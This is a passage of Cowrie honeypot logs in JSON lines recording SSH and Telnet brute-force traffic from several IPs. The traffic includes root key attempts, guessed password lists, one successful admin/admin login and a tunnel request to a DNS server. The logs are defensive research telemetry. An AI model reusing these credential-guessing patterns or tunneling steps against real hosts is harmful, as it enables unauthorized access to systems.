{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:49:c6:7e:b2:2f:e6:86:74:0b:98:50:75:b7:7d:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd96YYD3ZwGpnD3mEEYm6hwXImEtrVnXsjr0qsyfRs0lUifWpa4aTDtpcIPKx01MziiSLvLtTSxGpVKq0ctdeahAMQoxRFLOE3S0B2+bOyK382yWMosNlhOEMq/f+qQg7BjG8COoHSKpsG+148Z3NfssxwaYcAmtvoc7pDjzZTEcaUytOK1X+IPhBPywB69JbO1m0No5xZ4ZnkyHEx0rThquu7bxKsoGTaLitHZxPDYoqjQlt0Wb9/o275eX9teJJvgTuk/W35WMJ5JeYExdFXQbERfubzABe4GyuDDr4lXeYYCRBb9giCICyc+efGqtADDrpKGdt59nfH3CeTO07R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.494488Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:6b:80:9d:4c:78:d8:a9:aa:1e:ca:de:49:5d:33:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyoyKM4pH4cNtsMxnNCbgVKsizagt2sgT54xz3Iymr/LajFxetoP7xATgdPY12J+RGNZAJktlu/jS2WgEUG16jcmnsycME50eS8FhE50p4pK+h7GO3Db88lJ5lLdJo3Pkn3fWO1/UeHTBPrvaoS8QMKVgbbZ5DgOzCiw0qRjut0JIu0OqOFTdZwH75jsq2o6lVdpJUOA6o5V9QyxUWQnHYI+pYlgOEs9HI26+FfwpANrVujVXRiqE3YuyOaSxqlx8Rep6WxKX7HLzcejLalCeLeN/pjUqhv1YhOu5d25gwrv7ny8igDuylqggdK6JisaFTPwGTFKcAFVebK6iFBaA2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:6b:80:9d:4c:78:d8:a9:aa:1e:ca:de:49:5d:33:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.584286Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:6b:80:9d:4c:78:d8:a9:aa:1e:ca:de:49:5d:33:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyoyKM4pH4cNtsMxnNCbgVKsizagt2sgT54xz3Iymr/LajFxetoP7xATgdPY12J+RGNZAJktlu/jS2WgEUG16jcmnsycME50eS8FhE50p4pK+h7GO3Db88lJ5lLdJo3Pkn3fWO1/UeHTBPrvaoS8QMKVgbbZ5DgOzCiw0qRjut0JIu0OqOFTdZwH75jsq2o6lVdpJUOA6o5V9QyxUWQnHYI+pYlgOEs9HI26+FfwpANrVujVXRiqE3YuyOaSxqlx8Rep6WxKX7HLzcejLalCeLeN/pjUqhv1YhOu5d25gwrv7ny8igDuylqggdK6JisaFTPwGTFKcAFVebK6iFBaA2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.588821Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:b6:88:1c:49:b6:58:a9:ed:e8:11:8c:6a:db:e7:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8kBFX/B3Q/7bOPcBgPUQXWxNM7ZfKjgJdtZQR9AIHl9+e4m/z971FtqIGMDMoLHYdg0j+dRaIKAfKPR13nRu5KpbWmWISVqJa7Cl/odTDGoD3HSGmr5IO5rxhCgdADPJeTMI9/ianu9FEquPdLbdsHD+t8OcXxZsBcd+Wfcpgk0wZpeJ2pbaOowpjyqVe8ixaPRwTL1OdKvmeGH2S09Ir/vpj8hiPPJH/63UvWMTrHR5t2NRaIlidI0zhag33tMFc+Zxx1vrJBi+kMzc3WrYPsioRF+kOhwPGbKv6N1wtaXDmL83KgDrt00mwWDqhnboW8/pddUD7NRjquJwI4Ypn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:b6:88:1c:49:b6:58:a9:ed:e8:11:8c:6a:db:e7:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.676637Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:b6:88:1c:49:b6:58:a9:ed:e8:11:8c:6a:db:e7:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8kBFX/B3Q/7bOPcBgPUQXWxNM7ZfKjgJdtZQR9AIHl9+e4m/z971FtqIGMDMoLHYdg0j+dRaIKAfKPR13nRu5KpbWmWISVqJa7Cl/odTDGoD3HSGmr5IO5rxhCgdADPJeTMI9/ianu9FEquPdLbdsHD+t8OcXxZsBcd+Wfcpgk0wZpeJ2pbaOowpjyqVe8ixaPRwTL1OdKvmeGH2S09Ir/vpj8hiPPJH/63UvWMTrHR5t2NRaIlidI0zhag33tMFc+Zxx1vrJBi+kMzc3WrYPsioRF+kOhwPGbKv6N1wtaXDmL83KgDrt00mwWDqhnboW8/pddUD7NRjquJwI4Ypn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.681100Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:07:e7:d3:f7:c8:7a:a8:73:bf:39:50:57:1e:87:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7f0msQLJfvqqANzIAngZlU61/jyGiidLKEC8hocZcj3EkCbOFTpHqoqMTfxYxvtR72TbGEICAPCtACnEdj5vvnK6MvyRDzKvi4Y8lE6BAKvbuN71mpCuKbHsPxQu6sUtGKI2FqAJYl3Eb5Xi569i6A/3mQJfRwbqeXFF17jETTsQamieFfRauCBQPqLJLnktqcabJEC81glh1fT+cQoZkVbDdStM2WKqeF+IEwGop5SWhs+TtzVGQHUsg/y3lP4E+fhFTl3ygwq+KO7E3lgGARXf7sXt2KOtcIscbiiLWhyNCYXD3Ix7uDg+8JZ1cOUFl42hGWe172naBcRw0dHw9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:07:e7:d3:f7:c8:7a:a8:73:bf:39:50:57:1e:87:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.769607Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:07:e7:d3:f7:c8:7a:a8:73:bf:39:50:57:1e:87:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7f0msQLJfvqqANzIAngZlU61/jyGiidLKEC8hocZcj3EkCbOFTpHqoqMTfxYxvtR72TbGEICAPCtACnEdj5vvnK6MvyRDzKvi4Y8lE6BAKvbuN71mpCuKbHsPxQu6sUtGKI2FqAJYl3Eb5Xi569i6A/3mQJfRwbqeXFF17jETTsQamieFfRauCBQPqLJLnktqcabJEC81glh1fT+cQoZkVbDdStM2WKqeF+IEwGop5SWhs+TtzVGQHUsg/y3lP4E+fhFTl3ygwq+KO7E3lgGARXf7sXt2KOtcIscbiiLWhyNCYXD3Ix7uDg+8JZ1cOUFl42hGWe172naBcRw0dHw9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.773763Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:fd:1e:99:73:ff:1f:af:f5:f0:7d:90:b7:8b:fb:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu6oyKeUGt5ceEpTDLFOHpVmAPpd3oWEKnpoTDYCcBbHDudN+ksVHGtQM1V26fdS0Wr7zpUw+U3nURIGy3MV3w3jA6iJuGY/lcJ3yiv+Kqn8yMHMpbDA7oN5mpy9bo9SimCyFrU5xYcCaZ4YZNXRaw7FF3PPYRMcHCjf+PBUT17fJgmlkHH/kzbgiCC+3ma6stD00DpVMk6EkbToA3tv23slRR1Gl7zaJRuKKDjfWtBlwVjwZjkcx7a17z6X85KMGTkSY1QeFRKQDpEg9O/IGLqrT4anAmL0ktb0NORQ5siILYIgtQPDijBpFlKytCsdZcpORObV9atLctAKxMvzVRfCnNr+5wdKQQWzW5QqJO4ktqyYsChCUHR2M9OtDPQm/YIS8jfQkWmqbwLc4gFKmhGx4osWSdGTPuvQomO+OTQeiTWfqFSmb/aoXT2JzIK2hp+DvOs5QLLd7VSEbZYlXy2yoaBx/w8OHJlUsG58ib6iebrekUrfMsvcd/u9RmJcgrVjVLiIb3pLT2SQq3ufs3UOAtmxUnYLgPwgUVYWzTE/pd9IofUkLbJ7wEvBiEs1IsItAYvcXxDVvwhEOQi+9T2GH7KAXQxOlxuff3xfG8B364ISYeuZR6h3F+P6AjiOKJaS9GTpwlgkONWZiA4MouS97uk6KoN9uPT0/kM/GnDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:fd:1e:99:73:ff:1f:af:f5:f0:7d:90:b7:8b:fb:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.861874Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:fd:1e:99:73:ff:1f:af:f5:f0:7d:90:b7:8b:fb:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu6oyKeUGt5ceEpTDLFOHpVmAPpd3oWEKnpoTDYCcBbHDudN+ksVHGtQM1V26fdS0Wr7zpUw+U3nURIGy3MV3w3jA6iJuGY/lcJ3yiv+Kqn8yMHMpbDA7oN5mpy9bo9SimCyFrU5xYcCaZ4YZNXRaw7FF3PPYRMcHCjf+PBUT17fJgmlkHH/kzbgiCC+3ma6stD00DpVMk6EkbToA3tv23slRR1Gl7zaJRuKKDjfWtBlwVjwZjkcx7a17z6X85KMGTkSY1QeFRKQDpEg9O/IGLqrT4anAmL0ktb0NORQ5siILYIgtQPDijBpFlKytCsdZcpORObV9atLctAKxMvzVRfCnNr+5wdKQQWzW5QqJO4ktqyYsChCUHR2M9OtDPQm/YIS8jfQkWmqbwLc4gFKmhGx4osWSdGTPuvQomO+OTQeiTWfqFSmb/aoXT2JzIK2hp+DvOs5QLLd7VSEbZYlXy2yoaBx/w8OHJlUsG58ib6iebrekUrfMsvcd/u9RmJcgrVjVLiIb3pLT2SQq3ufs3UOAtmxUnYLgPwgUVYWzTE/pd9IofUkLbJ7wEvBiEs1IsItAYvcXxDVvwhEOQi+9T2GH7KAXQxOlxuff3xfG8B364ISYeuZR6h3F+P6AjiOKJaS9GTpwlgkONWZiA4MouS97uk6KoN9uPT0/kM/GnDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.865836Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.954328Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":34285,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9defe382c99","protocol":"ssh","message":"New connection: 2.57.121.25:34285 (159.203.135.109:22) [session: e9defe382c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:45.004313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:45.009843Z","src_ip":"2.57.121.25","session":"e9defe382c99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:45.111149Z","src_ip":"2.57.121.25","session":"e9defe382c99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42522,"dst_ip":"159.203.135.109","dst_port":22,"session":"afc549e7f567","protocol":"ssh","message":"New connection: 80.94.92.186:42522 (159.203.135.109:22) [session: afc549e7f567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:45.251824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:45.280565Z","src_ip":"80.94.92.186","session":"afc549e7f567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:45.384900Z","src_ip":"80.94.92.186","session":"afc549e7f567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14071976","message":"login attempt [user/14071976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:45.589134Z","src_ip":"2.57.121.25","session":"e9defe382c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:46.083510Z","src_ip":"80.94.92.186","session":"afc549e7f567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140688","message":"login attempt [user/140688] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:46.692897Z","src_ip":"2.57.121.25","session":"e9defe382c99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:47.488642Z","src_ip":"80.94.92.186","session":"afc549e7f567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140483","message":"login attempt [user/140483] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:47.797075Z","src_ip":"2.57.121.25","session":"e9defe382c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14021975","message":"login attempt [user/14021975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:48.901156Z","src_ip":"2.57.121.25","session":"e9defe382c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140189","message":"login attempt [user/140189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:50.006318Z","src_ip":"2.57.121.25","session":"e9defe382c99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:51.110470Z","src_ip":"2.57.121.25","session":"e9defe382c99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.221.100.43","src_port":52328,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7c0bcbeb36f","protocol":"ssh","message":"New connection: 18.221.100.43:52328 (159.203.135.109:22) [session: e7c0bcbeb36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:19:31.199414Z"}
{"eventid":"cowrie.session.connect","src_ip":"18.221.100.43","src_port":47652,"dst_ip":"159.203.135.109","dst_port":23,"session":"17f797a3839e","protocol":"telnet","message":"New connection: 18.221.100.43:47652 (159.203.135.109:23) [session: 17f797a3839e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:19:31.291789Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:19:31.943705Z","src_ip":"18.221.100.43","session":"e7c0bcbeb36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.670957088470459,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:19:31.962615Z","src_ip":"18.221.100.43","session":"17f797a3839e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":47498,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a8ebfb31706","protocol":"ssh","message":"New connection: 193.37.70.224:47498 (159.203.135.109:22) [session: 2a8ebfb31706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:40.788650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:40.793436Z","src_ip":"193.37.70.224","session":"2a8ebfb31706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:40.898933Z","src_ip":"193.37.70.224","session":"2a8ebfb31706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"m","message":"login attempt [root/m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:41.364569Z","src_ip":"193.37.70.224","session":"2a8ebfb31706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:42.457326Z","src_ip":"193.37.70.224","session":"2a8ebfb31706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38234,"dst_ip":"10.17.0.5","dst_port":22,"session":"8327d7bfd0cc","protocol":"ssh","message":"New connection: 87.251.64.176:38234 (10.17.0.5:22) [session: 8327d7bfd0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:45.235305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:45.241332Z","src_ip":"87.251.64.176","session":"8327d7bfd0cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:45.339411Z","src_ip":"87.251.64.176","session":"8327d7bfd0cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:45.629204Z","src_ip":"87.251.64.176","session":"8327d7bfd0cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:20:45.729131Z","session":"8327d7bfd0cc","protocol":"ssh"}
